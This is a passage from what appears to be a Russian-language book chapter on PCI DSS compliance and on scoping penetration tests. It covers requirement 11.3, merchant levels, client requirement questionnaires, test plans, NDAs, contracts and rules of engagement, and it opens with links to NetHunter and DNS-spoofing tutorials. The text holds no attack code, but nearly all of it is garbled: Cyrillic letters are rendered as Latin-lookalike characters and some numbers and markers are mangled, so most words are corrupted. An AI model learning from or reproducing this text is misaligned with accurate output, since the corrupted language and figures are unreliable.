O VYcranoska NetHunter na ycrpoiicrBa Android: https://www.androidauthority.com/how-
to-install-kali-nethunter-android-896887/.

O DNS-¢wummunr ¢ nomombio NetHunter: https://cyberarms.wordpress.com/category/
nethunter-tutorial/.



PCI DSS: ckaHupoBaHue
N TeCTUpoBaHue
Ha NPOHNKHOBEHME

Crangapt 6e30MacHOCTH JAHHBIX WHycTpuH MaTekHbX KapT (PCI DSS) 6b11 ocHOBaH
B 2006 o1y KaK COBMECTHBIH ITPOEKT, OPraHU30BAHHbIN HECKOJbKUMU BEYIIUMU KOM-
HaHMUSMU 110 IIPOUBBOJACTBY KPEAUTHBIX KapT, BKaoyasg MasterCard, Discovery, Visa,
American Express u JCB International. PCI DSS (B nacrosiiee Bpems B Bepcun 3.2.1)
MIPUMEHSIETCS BCEMU YUPEKACHUSME U IPEANPUSTUIME, KOTOPbIE TPUHUMAIOT, 06pa-
6aTBIBAIOT, TIEPEAIOT U XPAHAT HH(MOPMAIIUIO O KPEAUTHOI KapTe U CBSI3aHHBIX C HEl
nMaHHbIX. HazHaueHMe HACTOSIIEro cTaHIapTa Mo-TIPEKHEMY 3aKJII0YAeTCs B 3AITUTE OT
(bmHAHCOBBIX MOTEPH U YPOHA JIEJIOBON PEIyTaIlUU TPO/IABIOB, MIOCTABITUKOB YCJIYT
u niorpeburesieit. DUHAHCOBBIE TIOTEPH U MO/IPBIB JIEJIOBOU PEIyTAIINN MOKET HACTYITUTh
13-3a HAPYIIeHWiT 6e30TIACHOCTH JIAHHBIX B OTHOIIEHUH KPEJUTHBIX KapT U CBS3aHHOI
¢ HUMU Juunoll udenmuduuupyemo urngopmavuu (PII).

Coruacuo cranmapry 6esonacHoctu PCI DSS nanHbIe fepikaTelist KapThl BKJIIOUAKOT:

Ms BJIaleJIblla KapTOYKH;
HOMED CUE€Ta BJIa/iesIblla KapTbl;
CepBI/ICHHﬁ KO/ BJIa/l€Jiblla KapThbI;

000D

CPOK JIeHiCTBUS KApPTHI.

KOHdJI/I,EleHLI,VIaJ'IbeIe AaHHbIE TaK>XXe BKTIOYaoT JIMYHbIE VILl,eHTI/ICbVIKaLI,VIOH-
Hbl€ HOMEpa (I'IVIH-KO,U,bI) N OaHHblE, HalAeHHble Ha MarHUTHbIX MOoCcKax
nnn vymnax.

Craagapr PCI DSS cocrout u3 mectu meseii 1 12 tpebosanuii. Bee mrects tesneit
u 12 TpeboBanuii MOryT OBITh JOCTUTHYTHI IIyTeM YIJIyOJI€HHON OLEHKHU, KOTOPas MO-
TBEPAKIAET, UTO OBLIN IIPUHATHI MEPBI /I AKTUBHOTO 0OECIIeUeH s 3alUThl THPOPMAIIIN
0 jiepsKaTesax Kapt. XoTs yAOBJIeTBOPEHUeE TIecTH Tejieil 1 12 TpeGoBaHmii MOXKET 1M1o-
Ka3aThCsT TOCTATOUHO TIPOCTBIM, Ha caMoM jiete cytectyeT 250 cybrpeboBanmit PCIL.

ITo panubiM MasterCard, B crangapre PCI DSS nipesycMOTpeHo 11ecTb 1eieit, Ko-
TOPBIE 3aKTI0YATOTCSI B CIIEAYIONIEM:

Q cosganue 1 00CAYKUBAHKE 3AIIUIIEHHON CETH 1 CHCTEMBbI;
O sanumra nHOOPMAIIMOHHBIX CUCTEM KapThl;

O skcrmyaTalnus IPpOrpaMMbl yIIPABJICHUA YA3BUMOCTAMY;
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Q ocyuiectBienue ahGeKTUBHBIX Mep KOHTPOJIA JOCTYIIa;
Q peryssspHBII MOHUTOPUHT W TECTUPOBAHUE CETEN;

O BeeHUE TOJUTHKH HHGOPMAITMOHHON 6e30TTaCHOCTH.

O6beM 00paboTaHHBIX OlEPALUil JepsKaTelss KapThl OIIPeAe/sieT TUIIbI OLEHOK,
KOTOpbI€ AOJIKHDBI 6bITb Y4TEeHbl KOMIIAaHUAMM. HeKOTOpre KOMITaHUM, TaKUEe KaK
Discover Global Network, tpeGyior, 4ToObl BCe CepBUCHI, KOTOPble 00pabaTbiBaIoT,
HepefanT WM XPAHAT JaHHbIE BIaJeAbleB KapT ¢ IOMOMmbIo ceTn Discover, ObLan
PCI-coBmecTuMbIMH.

VupeskaeHus, UCIIOJIb3YIONIe KPeAUTHbIE KapThl, IMEIOT PasjInYHbIe YPOBHU U Ka-
TEropuH, ¢ IIOMOLIBIO KOTOPBIX OHU OIPEAEISIOT TpeOoBaHus COOTBETCTBUsL. Kpurepun
Pa3INYAIOTCS] MEKLY YUPEKICHUSIMU, XOTsI TPeOOBAHUST OJ[THAKOBBI JIJIST BCEX.

O Vposens 1. Exeroaupiii otuer 00 oneHKe 6e301MacHOCTH Ha MECTe € MOAPOOHBIM
OIIMCaHHeM OIIEHMBAEMbIX CUCTEM, KOTOPbIe 00pabdaThiBaIOT, XPAHST UK HepeaaloT
uHGOPMAIINIO O KPeIUTHBIX KapTax. Tpedyercs Takke eskeKBapTaJIbHOE CKaHUPOBa-
HUE CeTH, KOTOPOE JIOJIKHO TTPOBOIUTHCS YTBEPKAEHHBIM TTOCTABITUKOM CKaHHUPOBa-
Hus (ASV) 11 yianeHHOro CKaHUPOBAHUS YSA3BUMOCTEH M OTEHITUATBHBIX YTPO3.
e TonoBas tpancakiust American Express: 2,5 muinona (uiu 6oJiee).

e Togosag tpancakuus MasterCard: 6 Muinosos u 6oee.

Q Vposens 2. 50 000—2 500 000 Tpancaxumii. Tpebyercst exeroaHas caMOOIeHKa,
a TaKsKe exkeKBapTaibHoe cKaHuposanue ceTi. OlieHKa Ha MecTe TaKkKe MOKeT ObITh
MpeIocTaBIeHa Ha yCMOTPEHNE MTPO/IaBIa.

e Tomomas Tpancakius American Express: mernee 50 000.
e Tonosag tpancakuus MasterCard: ot 1 10 6 MUILIMOHOB.

O Vposenb 3. Tpebyercs eskeroHas CaMOOIIEHKa HAPSILY C e5KeKBAPTATbHBIM CKAH-
poBaHueM cetd. OlieHKa Ha MeCTe TaKKe MOKeT ObITh IIPe0CTaB/IeHa Ha YCMOTPEHUE
MOCTaBIIUKA.

e Toxmosast Tpancakius American Express: meree 50 000.
e Toposas tpancakuus MasterCard: 6osee 20 000, Ho Meree 1 MuJLIMOHA.

JloToTHUTEIbHBIE YPOBHY CJIE/YIOTITHE.

Q Vposens EMV (American Express). [l o6paborku Gomnee 50 000 Tpancakumit
[0 YUIIOBBIM KapTaM TPpeByeTcs eKero/Hoe caMoCTosTeIbHOe obenenoBatne EMV
Attestation (AEA).

Q Vposenb 4 (MasterCard). Tpebyercs exxerosnas caMOOILEHKa, a TAKKE €KEeKBap-
TasbHOe ckanuposatue cet. OTeHKa Ha MeCTe Takke MOKET ObITh ITpe/locTaBIeHa
Ha yCMOTpPeHNe MOCTAaBIIKA.

PCI DSS v3.2.1, TpeboBaHue 11.3

Patee B 9701 rmaBe Mbl yomuaaii, uto PCI DSS sriouaer mects 1esteit u 12 Tpe6o-
Baruii. Odurmanbaoe kparkoe cipaBouynoe pykoBojactBo PCI DSS v3.2.1 conepsxut
pesiome Beex 12 TpeboBaHMii, KOTOPbIE A0JKHBI OBITh YIOBIETBOPEHbBL. Ero MoxHO 3a-
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rpy3uThH 110 azpecy https://www.pcisecuritystandards.org/documents/PCI_DSS-QRG-v3_2_1.pdf
?agreement=truetime=1535479943356. B aToM pasjeiie Mbl B COOTBETCTBUU C TPeOOBAHM-
em 11 cocpezoToummces Ha aJieMEHTaX OIeHKH TeCTUpoBaHusA Ha npoHukHoBenue PCI
DSS. TpeboBatie mOAPa3yMEBAET «PeyaapHOe MECMUPOBAHIE CUCEM U NPOUECCO8
besonacnocmu, Komopoe noonadaem nood uenb 5: pezyasapHoliic MOHUMOPUHE U MeCMUPO-
sanue cemeii».

TpeGosanue 11.3 ocHOBaHO Ha BHEJIPEHIU METOOJIOTUH TECTHPOBAHNS HA TIPOHUK-
HOBEHMeE, Mpe/TaraeMoit texunyeckum pykosoacTBoM NIST SP800-115 o Tectnposa-
HUIO U OlleHKe nH(popManuoHHoit 6ezomacuoctu. Hecmorpst Ha to uro NIST SP800-115
611 orrybmkoBan B 2008 rozy, OH COAEPAKUT IPOBEPEHHbIE U HALEKHbIE METO/bI /IS
oTpeie/IcHUs U TMPOBEJCHUS TECTOB HAa MPOHUKHOBEHUE U JIOJKEH MUCMOTH30BATHCS
B KauecTBe PYKOBOJICTBA IIPU PACCMOTPEHUU UM CO3JIAHUN METOIO0IOT MY TeCTUPOBAHM
Ha IIPOHUKHOBEHHME.

Tpeo6osanue 11.3.1 npexycMarpuBaet npoBeieHNE UCTIBITAHKS HA BHEITHEE TIPO-
HUKHOBeHHe. Takoe UCIbITAHUE CJIEYET TPOBOAUTE €KETOAHO WU MOCJE JTH0O0T0
3HAYUTENBHOTO M3MEHEHUS B OPTraHU3aI[iH, HATIPUMED 10cjie 0OHOBJIEHUST CEPBEPOB,
MAarucTpajbHBIX PUIOKEHUH, KOMMYTaTOPOB, MapIIPYTH3ATOPOB, GPaHAMAYIPOB, 06-
JIAYHBIX TIePEeMEIEeHn il NIn fake mocye OOHOBJIEHHUS OTIEPAIIMOHHBIX CHCTEM B CPEJIE.
Buenee tectupoBanue Ha IPOHMKHOBEHUE JI0JIXKHO OCYIIECTBIATHC KBaIUPUIIUPO-
BAHHBIM U ONBITHBIM MIEPCOHAIOM UJIU TPETHbUMHU JIUTIAMH.

Tpe6oanue 11.3.2 Kacaercs raBHBIM 0OPA30M UCTIBITAHUI HA BHYTPEHHEE POHUK-
nosenue. Kak u B ciryuae ¢ tpebosanmem 11.3.1, Takoe ucibITaHue JOJKHO IPOBOJUTHCS
€KETO/THO, U TIPOBOJIUTD €T0 JI0JIKEH KBATUMUITNPOBAHHBIN W ONBITHBINA CIIEIIUAJIACT
WJIN TPEThs CTOPOHA.

Tpe6osanue 11.3.3 — 210 cKOpee aHAJIUTUYECKOE, a HE TeXHIYeCKoe TpeboBaHue,
MTOCKOJIbKY BKJIIOYAET aHAJIN3 BHYTPEHHUX M BHEIIHUX TECTOB HA ITPOHUKHOBEHUE [T
YMEHbIIIEHUS BbIABJICHHBIX YI3BUMOCTEH U 9KCIIIIONTOB.

Tpe6Gosanue 11.4 ycraHaBinBaeT cerMeHTalMIO B paMKax MeTozooruu. IIpu omnpe-
JIeTEHUH OTleHKU c(hepbl 0XBaTa (KaK MbI YBUIUM B CJICYIONIEM pa3jiesie) HACTOSI TETbHO
PEKOMEH/IyeTCsI CTPEMUTBCS K COKPALleHUIO caMoii cepbl 0XBaTa, IOCKOJIbKY He KaxK/1as
crcTeMa B paMKax CETU WJIM cpebl JaHHbIX gepskaresis KapTbl (CDE) Oyzer HysKaaTbest
B olleHKe. V30111110 CeTH TaKOTO BU/Ia MOKHO BBITIOJTHUTH, UCIOJIB3YS B MAPIIPyTH3a-
TOpax OpaHIMay3pbl U KOH(MUTYPAIIUH CIIUCKOB YIIPABJIEHUS JIOCTYIIOM.

OnpegeneHne 06nacTn NCNbiTaHUS
Ha npoHnkHoBeHue PCI DSS

[Tepen poBeieHrEeM JIF0OOTO TeCTa Ha MPOHUKHOBEHIE UCITBITATEb J0JUKEH B3aUMOJIEH-
CTBOBATH C KIMEHTOM JIJIsI TTOJTyYeHUsT BCel cooTBeTcTBYotel nHdopmarmu. Ha atare
yCTaHOBJIEHHUS T1eJIell TIPOBOAMMOrO TeCTa UCIIbITaTe/ b HAaYHeT cCOOMpaTh OT KJIHEHTa
nH(bOpMaIUIO, KoTopast OyIeT HCII0JIb30BaThCs It (POPMUPOBAHMS 11EJIEBbIX TPeOOBAHUI
OIEHKH, OITPEIEIEHISI TTAPAMETPOB JIJIsl TECTUPOBAHUST, OU3HEC-TIEeTIEl 1 PaCTTUCAHUS KIIH-
eHTa. DTOT IPOIECC UTPAET BAKHYIO POJIb B OTPEIEIEHIH YeTKUX I[eJieil JIF000it OIleHKH
6e301macHOCTH. BBISICHUB KJTIOUEBBIE [IEJIH, BbI MOKETE JIETKO COCTABUTH IJIAH U BHIOPATh



414 nasa 13 e PCI DSS: ckaHMpoBaHWe 1 TECTUPOBaHWE Ha MPOHUKHOBEHWE

METO/IbI TECTUPOBAHUS, TOHATD, KaKKe PECYPChI /IS UCIBITAHUI CTOUT BBIIEJUTD, KAKUE
OrpaHUYeHUs HY/KHO TIPUMEHNUTH U KaKue OU3HEC-11eJTU TOJLKHbI ObITh IOCTUTHYTHL. Best
ata nadopMaIug B KOHEYHOM UTOre (PUKCUPYETCs B IJIaHE TECTUPOBAHUSA, B KOTOPOM
YETKO OTpesiesieHa 001acTh TECTHPOBAHMSI.

MbI MOJKeM OOBEANHUTD BCE 9TH 9JIEMEHTBI U MTPEACTABUTH MX B (DOPMATHM30BAHHOM
nporiecce Ui OCTIKeHUs Tpebyemoii e, Hike MpUBEEHB! OCHOBHBIE ATATIBI OTTPe-
NeIeHust 06IACTH UCTIBITAHYS, KOTOPbIEe OYYT PACCMOTPEHBI B 9TOH TIaBe.

O Coop TpedoBanmii KaMenTa. 3/ech coOupaercst Best nHGOPMAIE O LeJeBO cpe/ie.
MHubopmalus cobupaeTcs IyTeM YCTHOTO WK IIMChbMEHHOTO 00IIeHUSI.

O IoaroroBKa MiaHa TECTHPOBAHMSA. JTO JEHCTBUE 3aBUCUT OT PA3INYHBIX HAOOPOB
napamMeTpoB, KOTopbie OyAyT BKIOYaTh (hopMupoBatue HhakTHIecKux TpeboBaHuii
K CTPYKTYPUPOBAHHOMY IIPOIECCY TECTUPOBAHUS, IOPUINYECKUE COTTIAIIICHMS, aHa-
JIN3 3aTPaT U paclpe/iesieHIe PEeCypPCoB.

O I'panuip npodUIHPOBAHUS TECTA. 3/ECDH ONPEEISIOTCS OrPAHUIEH NS, CBSI3aHHbIE
C TIEJISIME TECTUPOBAHUS HA TIPOHUKHOBEHUE. ITO MOKET OBITH OTPaHIUEHUE TEXHO-
Jiorun, 3Hauni nin popmasibHoe orpanndenne MT-cpenpl kianeHTa.

O Omnpexaenenue Gu3HEC-LEIEH. DTO TIPOIECC COTTACOBAHMS OU3HEC-TIPEICTaBICHUS
C TEXHUYECKUMM TEJISIMU TIPOTPAMMBbI TECTUPOBAHUS HA TIPOHUKHOBEHUE.

O VuopaieHue npoeKTaMu M ILIAHUPOBaHUE. JTOT IYHKT CHHXPOHUBUPYET KaK/IbIi
1ar 1mpolecca TeCTUPOBAHUS Ha TPOHUKHOBEHUE C COOTBETCTBYIONIUM rpadKoM
JLIS1 BBIIIOJTHEHMS TECTOB, YTO MOKET OBITh JOCTUTHYTO € IOMOIIIBIO [IePeIOBBIX HH-
CTPYMEHTOB YIIPABJIEHUS TTPOEKTAMMU.

HacrosTebHO peKOMEH/yeM BaM CJIE/IUTh 32 TeM, KaK OTpeeisieTcss 06JacTh uc-
CJIeoBaHus, YTOOBI 0GECTIEYUTD COTJIACOBAHHOCTD TECTOB € YCIENTHBIMU PE3yJIbTaTaMu
poBepKU. [[OMOJHUTETHHO 3TOT MPOIECC MOKHO OTKOPPEKTUPOBATH COTJIACHO (haKTh-
YeCKOW CUTYAIlMU TIPU MPOBEICHUH UCTIbITanust. Eciin He onpesenTh 00/1acTh ¥ MJIaH
HCCIIeJOBaHMiA, BEPOSTHOCTD YCIIEITHOTO TecTa OyIeT HU3KOM, TaK Kak cOOPaHHbIE TEXHMU-
yeckue TpeGOBaHUS He OYAyT UMETh HA/IIEKAIIX OMPEAETEHIH U TIPOIELYP. ITO MOKET
[IOCTaBUTDH MO/l YI'PO3Y BECh IIPOEKT TECTUPOBAHUS HA ITPOHUKHOBEHUE U IIPUBECTH
K HEOKUJIAHHBIM TiepepbiBaM B paboTe opranusaiiu. Ecim yaeauts ocoboe BHUMaHUE
ATOMY ATAIly TECTUPOBAHNUS, TO MOKHO MOJOKUTENBLHO MOBIHUATH HA OCTATBHBIE ATATTBI
U OTIPEIEJIUTh TIEPCIIEKTUBBI KAK B TEXHUUECKOMU, TaK M B YIIPaBJICHUECKON 0bacTu.
Ha naHHOM 5Tarie OCHOBHAs 3a[aya — MOJYYHUTh OT KJIMEHTa KaK MOYKHO OOJIblile WH-
(hopmanuu, 4To 1103BOUT CHOPMYJIUPOBATH CTPATETUIO, OTPAKAIONLIYI0 MHOKECTBO
ACTIEKTOB TECTUPOBAHKS Ha MTPOHUKHOBeHKE., OHU MOTYT BKJIIOYATD B ceOs1 IOPUITIECKUE
JIOTOBOPEHHOCTH, IOTOBOPHOE COTJIAllIeHUE, paciipe/ie;IeHie PecypcoB, OTpAaHIYCHUS Ha
[IPOBEJIEHIE UCTIBITAaHUH, KBAIM(UKAIIMOHHDIE TpeboBaHust, HHGOpMaInio 06 nHbpa-
CTPYKTYP€, CPOKH W TIPAaBHJIa TPOBEJIEHUS TECTUPOBAaHUS. B paMKax 1mepenoBoii mpak-
TUKH TPOIECC PACCMaTPUBAET KasKAbli aTpUOYT, HEOOXOAUMBII JJIs 3aIlyCKa Halllero
1IpoekTa 1podeccuoHaIbHOI0 TeCTUPOBAHUS Ha IPOHUKHOBEHNUE.

Ha kax oM ararne Mbl cOGUpaeM YHUKATIbHYIO0 WHDOPMAIIHMIO, KOTOPast BHICTPanBa-
eTCs B JIOTMYECKOM TIOPSIZIKE, UTO 0OecreunBaeT yernenHoe TeCTUPoBanue. JTO TaKkKe
JIaeT BO3MOKHOCTD YPETYJIMPOBATH JIIOObIE TPABOBBIE BOIIPOCHI, KOTOPBIE IOJIKHBI OBITH
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peleHsl Ha panHeM sTare. B caemyionieMm paszese Mbl 6oJiee oaApoOHO pasbepeM Kask-
JIblii U3 9TUX T1aroB. MmeiiTe B BULY, 4TO KJIUEHTY U KOHCYJIBTAHTY TI0 TECTHUPOBAHUIO
HA MIPOHUKHOBEHUE OYJIET Jierde MOHSATH MPOIECC TECTUPOBAHMSI, €CJIM BCST COOpaHHAsT
uHdGopMaIs GyIeT yIpaBIsaThCsT OPTAaHU30BAHHO.

C6op TpeboBaHUN KITMEHTOB

ITOT paszjel npeacrasisier coboii obiiee pyKOBOACTBO, KOTOPOE MOKHO COCTaBUTh
B (hopMe BOITPOCHUKA JIJIsT TIOJIYYEeHHUsT OT KIWeHTa Bcell MH(MOPMAaIIUH O TeJIeBOoii mH(ppa-
crpykrype. Kientom MoskeT ObITh 110001 cyObeKT, KOTOPBIN I0PUIMIECKI 1 KOMMEp-
4YeCKU CB3aH C 1ieieBoi opranusanueil. TakuM 06pasoM, /IS ycliexa [IPOoeKTa TeCTUPO-
BaHWMA Ha TIPOHUKHOBEHNE Kpalee Ba’KHO Ha paHHeﬁ CTaIlM BBIABUTDH BCE BHYTPECHHNE
" BHEIIHWE 3aMHTEPECOBAHHBIC CTOPOHBI N MTPOAHATU3NPOBATD NX YPOBEHDb MHTEPECA,
OKUAHMIA, BA)KHOCTH U BJAUSHUS. 3aTeM paspabaThlBaeTcsl CTPaTerusl, HalpaBaeHue
KOTOPO# — MHAMBUAYATBHBIN TTOAXO/ K KAK/I0W 3aMHTEPECOBAHHON CTOPOHE C yUE€TOM
ux TpeGOBaHUI U yIaCTUA B IPOEKTE TECTUPOBAHUS. ITO JIETAETCs, YTOOBI MAKCUMAJTb-
HO HMCIIOJIB30BATDH ITOJIOKUTEJIbHOEC BJIUAHUEC U CMATUYUTD IIOTEHI[MAJIbHbIC HEraTBHbBIC
TTOCJIE/ICTBUS.

MNpexae Yem npeanpyHUMaThb Kakne-nmbo fanbHenwmne Lwaru, ucnbitaTtenb Ha
NPOHUKHOBEHNE 06s13aH NpoBEPUTL JIMYHOCTb ﬂOFOBapMBaIOIJ.lEﬁCFI CTOPOHDbI.

OcHoBHas 11eJ1b c60pa TpeOOBAHUIT KITNEHTA — ONMPEIEJIUTh TIOJIHHHBIN KaHA, Yepe3
KOTODBII UCIIBITATE b Ha TIPOHUKHOBEHIE MOKET HOJIYUUTh J1100y10 HH(BOPMAIITO, He-
06xomMMyTo 1151 uebITanuii. [Tocste Toro kak TpeboBaHsI K UCTTBITAHUSIM OTIPEIETEHB,
KJIMEHT JIOJIKEH VX TTPOBEPHUTH U YAATUTH JII0OYI0 BBOAAILYIO B 320y KIeHNe HHPOpMa-
1110. DTO 06ECIIEUNT COrTIACOBAHHOCTD ¥ TIOJHOTY OY/yIIEero MIaHa UCTIBITAHWIA.

Co3gaHune opMbl TpeboBaHMS 3aKka3umnka

Huske Mbl iepeurciniy HarboJjiee 4acTo 3aaBaeMble BOIIPOCHI U HOIYJ/ISIPHbBIE TEMbI
1Tt 0OCYIKIEHNUST, KOTOPBIE MOKHO B3SITh 32 OCHOBY JIJIST CO3MaHMsT (hOPMBI OOBIYHBIX
TpeboBaHMit KIHeHTa. BaykHO OTMETHTD, YTO B 3aBUCHMOCTH OT TI€JIeil MCTIBITaHU I 9TOT
CITUCOK MOJKET OBITh PACHIMPEH MU COKPAIIIEH.

Q Co60p ocHOBHOI MH(MOPMALIUK, TAKOH KaK Ha3BaHMe KOMIIAHUH, aPEC, CAIT, KOHTAKT-
HbI€e JIAHHbIE, A/[PEC ATEKTPOHHOI TTOUTHI U HOMepa TesiehOHOB.
O Ompenesnenre KIOYEBBIX TleJIeii IPOEKTA TECTUPOBAHUS HA IIPOHUKHOBEHMUE.

O Omnpezenenne TUIA UCIBITAHKUS Ha TIPOHUKHOBEHUE (¢ KOHKPETHBIMU KPUTEPUSAMU
nsm 6e3 HuX).

® TectupoBaHUe METOJOM «UEPHOTO AMIMKA.
e TecrupoBaHue METOIOM «OeI0T0 SAIIUKay.

e Bremnrnee TECTUPpOBaHUE.
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e BHyTpeHHee TeCTUPOBAHUE.

® BxifoueHue B TECT METOJIOB CONMATBbHON NHKECHEPUN.

® De3 BRITOYEHUS B TECT METOIOB COTTMATBHON MHKEHEPUT.
e ll3yuenwue cBe/IeHUI O COTPY/IHUKAX.

e JlobaBJieHuE TOAAETBHON JUUHOCTH COTPYHUKA (MOKET TTOTPeOOBATHCSI IOPHUC-
KOHCYJIBT).

e BrkJroyeHue oTKaza B 00C/yKIBAHUL.
e  OTkJIIOYEHNE 0TKa3a B 00CTY/KUBAHWH.
e [IpOHUKHOBEHHE B CHCTEMbI OM3HEC-TTaPTHEPOB.

Kakoe KoJm4ecTBo cepBepoB, pabounx CTaHINI U CETEBBIX YCTPOUCTB HEOOXOAUMO
[IPOTECTUPOBATH?

Kaxpe TeXHOJIOTUH ONepAIFIOHHOM CHCTEMBI O/IeP;KUBAIOTCS Ballell nHPPacTpyK-
Typoit?
Kakue ceteBbie ycTpoiicTBa HEOOXOMMO ITPOTECTHPOBATh? BpanamMayapsl, MapIipy-

TH3aTOPbI, KOMMYTATOPBI, OAJIAHCUPOBIIUKY HATPY3KH, HaeHTHhUKATOPDI, [PS mim
Jo0ble IpyTHe yeTpoiicTBa?

EcTb 1 mansl aBapuitnoro BocctanoBenus? Ecii 1a, TO ¢ KeM cJie/lyer CBsI3aThCs?
EcTb it agMUHUCTPATOPBI, YIIPABJISIONIAE CETHIO?

Cy1mecTByoT Jin Kakue-1nbo KOHKpeTHbIE TpebOBaHMs K COOIIONEHUIO OTPACIEBbIX
craunaptos? Ecau za, nepeynciure ux.

Kro 6y/eT KOHTaKTHBIM JIMIIOM /TSI 9TOTO TIPOeKTA?
Cpoku peasi3aluu 3TOro IPoeKTa.
KaxkoB Bati 610/KET B 9TOM TIPOEKTE?

HepechnMTe, €CJIN 9TO H€06XOZII/IMO, Jmo0bIe Apyrue Tpe6OBaHI/IH.

[NoaroTtoBka niaHa UCMbITAHUN

ITocnie Toro Kak TpeboBaHust GbLIM COOPAHBI 1 TPOBEPEHBI KJMEHTOM, HYKHO COCTABUTh
o(hUIMAaTbHBIA MJIAH TECTUPOBAHMS, KOTOPDIIL 0JKEH OTPasKaTh BCe 9TH TpeboBaHus,
B JIOTIOJIHEHKE K APYTOil HeoOX0aMMON nH(GOPMAIIMKY O TIPABOBBIX 1 KOMMEPUYECKHX
MOBO/IaX TIpolecca TecTupoBatus. KIoyeBbIMU MapamMeTpamMu TIpu TIOATOTOBKE IJIaHa
TECTUPOBAHUS SBJISIIOTCSI ONIPE/IEIEHNEe CTPYKTYPBI TIPOIecca TeCTUPOBAHMST, Pacipe/ie-
JIEHUE PECYPCOB, AHAJIM3 3aTPAT, @ TAKJKE COCTABJIEHUE COTJIAIIECHHSI O HePa3TIallleHIH,
KOHTPAKTa Ha TECTUPOBAHUE U TTPABUII B3aUMO/IEHCTBUSL.

a

CrpykTypupoBaHHe Ipoliecca TecTHpoBaHus. [locse ananm3a cBefieHnit, mpejio-
CTaBJICHHBIX BAIITUM KJIMUEHTOM, CJIelyeT PECTPYKTYPUPOBATH METOMOJIOTHIO TECTH-
poBanusi. Hampumep, eciii METO/IbI COIUMANBHON UHKEHEPUU OYyT UCKIIOUEHBI,
BaM IIPUJIETCS YAUINTD UX U3 0(PUIINATBHOTO TIPoIlecca TecTupoBaHus. Horia sTa
IIPAKTHKA U3BECTHA KaK NPOBEPKA Npouecca mecmuposanus. ITO TOBTOPSIOMASICS
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oreparys, KOTOPYIO HY’KHO TIEPEeCMaTPUBATh BCAKHUIT pas, KOT/ia MEHSIOTCS TpeGoBa-
HUsE KIMeHToB. Ecoti Bo BpeMst BBITOTHEHHUS TecTa OY/IyT IPEANPUHATH KaKe-T160
JIMIIHUE 11IaTH, TO MOXKET IIPUBECTH K HApYIIECHUIO MOJUTUKN OPTaHU3AINN U Cepbe3-
HbIM 1Tpadgam. Kpome Toro, B 3aBUCHMOCTH OT THIIA TECTA B IIPOIIECC TECTUPOBAHUS
GyJIeT BHECEH psiji M3MeHenuit. Hampumep, tectupoBanue MeTo0M «GeJoro sinKas
MozKeT He TpeboBaTh c60pa HHPOPMAIMY U T[EJIeBOTO 0OHAPYIKEHUS, MOCKOJIBKY
TecTep y’Ke 3HAeT 0 BHyTpeHHeH nH@pacTpyKType.

MpoBepka AaHHbIX CETU U Cpeabl MOXET 6biTb MOSIE3HON HE3aBUCUMO OT
TUNa TecTa. B KOHLE KOHLOB, KIMEHT MOXET He 3HaTb, KaK Ha CaMoM Aene
BbIFNISIAUT €ro ceTb!

Pacnpezenenue pecypcos. OHoil u3 HanboJiee BasKHBIX 00J1acTell IBJIsIeTCsI o1pe-
JleJieHne 9KCIIEPTHBIX 3HaHHfI, HeO6XO[[I/IMbIX JUUI JOCTUIKEHUA ITOJTHOTBI TeCTa.
Taxum 06pa3oM, HA3HAYMB COOTBETCTBYIONIETO KBATMMHUIINPOBAHHOTO TeCTEPA Ha
MPOHUKHOBEHWE /ITIST OTIPEIETEHHON 3a/Ia4, MOKHO JIYUIIle OIeHUTH GE30TTacHOCTD.
Hanpumep, 1711 TeCTUPOBAHUS MIPUJIOKEHUI Ha TPOHUKHOBEHUE TpedyeTcst Tpa-
MOTHBII UCITBITATENb OE30IACHOCTH MPUJIOKEHHUI, DTOT ITAI UTPAET BAXKHYIO POJIb
B yCIIexe 3a/I1aHNs TeCTUPOBAHNS Ha IPOHNKHOBEHIIE.

Anamu3 3atpar. CTOUMOCTD TECTUPOBAHUS HA TIPOHUKHOBEHUE 3aBUCUT OT HECKOJIb-
KUX (haKTOPOB: KOJIMYECTBA JHEH, BBIIEJICHHBIX HA BBITTOJHEHUE TIPOEKTA B TOJHOM
obbeMe, OTIONTHUTETBHBIX TPeOOBAHUI K CEPBUCAM, a TAK/Ke HKCIEPTHBIX 3HAHUI,
HEOOXOMMBIX /LIS OIIEHKU KOHKPETHO# Texrosornu. C TOUKYM 3peHus 3aKaszunKa
WCIBITAHUS, 9TO OTHOIIIEHUE KOJTUYECTBA K KAUeCTBRY.

Cornamenue o Hepasriamenun (Non-Disclosure Agreement, NDA). ITepesx Ha-
4aJIOM TecTUpoBaHUsA HeoOxoauMo noanucatb NDA, kotopoe 6yzer oTpaskarh WH-
Tepechl 00enX CTOPOH: KineHTa 1 Tectepa. Vcnosb3oBatne Takoro B3auMuoro NDA
JIOJIZKHO TTPOSICHUTD YCJIOBUS BBIIOJIHEHUA TecTa. VlcnbITaTesib Ha IPOHMKHOBEHHE
006s13aH BBINOJHATD 9TU YCJIOBUS BO BpeMsl IPoBe/ieHus Tecta. Hapymienue mo6oro
YCJIOBUS COTJIAIIEHUS MOKET IIPUBECTH K CEPhE3HBIM MITpadaM M OTCTPAHEHUIO
oT paboThL.

Kourpakr na rectuposanue. Beerza cyiecTByer HeOOXOAUMOCTD B IOPUIMIECCKOM
KOHTPAKTEe, KOTOPBI OY/IET OTPEAETSATh TEXHUIECKIE U JICJIOBBIC BOITPOCH MEKILY
KkJreHToM 1 TectepoM. OcHoBHast MHGOPMAIS B TAKUX KOHTPAKTax (hOKycupyercs
Ha TOM, KaKHe YCJIYTH TeCTUPOBAHUS IIPe/IIaraioTcs, KAKOBbI X OCHOBHBIE 11€JI1, KaK
oHU OYYT Pealn30BbIBATLCS. B KOHTpaKTe TakKe OMPENessioTCsT BOMPOCHI BO3HA-
rpak/IeHUs 1 KOH(DUAECHITMAILHOCTH Beero npoekTa. HactoareabHo pekomenyercs,
9TOOBI HTOT TOKYMEHT COCTABJISLT A[IBOKAT UJIN IOPUCKOHCYJIBT, TIOCKOJIBKY OH OyeT
HCTIOB30BATLCS JIJIst GOMBITUHCTBA BAITUX ACHCTBUHN TI0 TECTUPOBAHMIO HA MPO-
HUKHOBEHHE.

IIpaBuia B3aumozueiicteus (Rules of Engagement, ROE). IIporecc tectupoBatus
HAa MPOHUKHOBEHIE MOKET ObITh arPECCHUBHBIM 1 TPEGYET Y€TKOTO IIOHUMaHMsI TPeGO-
BaHUI 3aKa34YMKa ¥ THIIA TOTEHIIMATBHOTO BO3/IEHCTBUS KAsKIOTO METOJIA UCITBITAHWIA
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Ha npoBepsieMyIo cucrteMy. Kpome Toro, B OTHOIIEHHH HHCTPYMEHTOB, UCTIOTB3YEMbIX
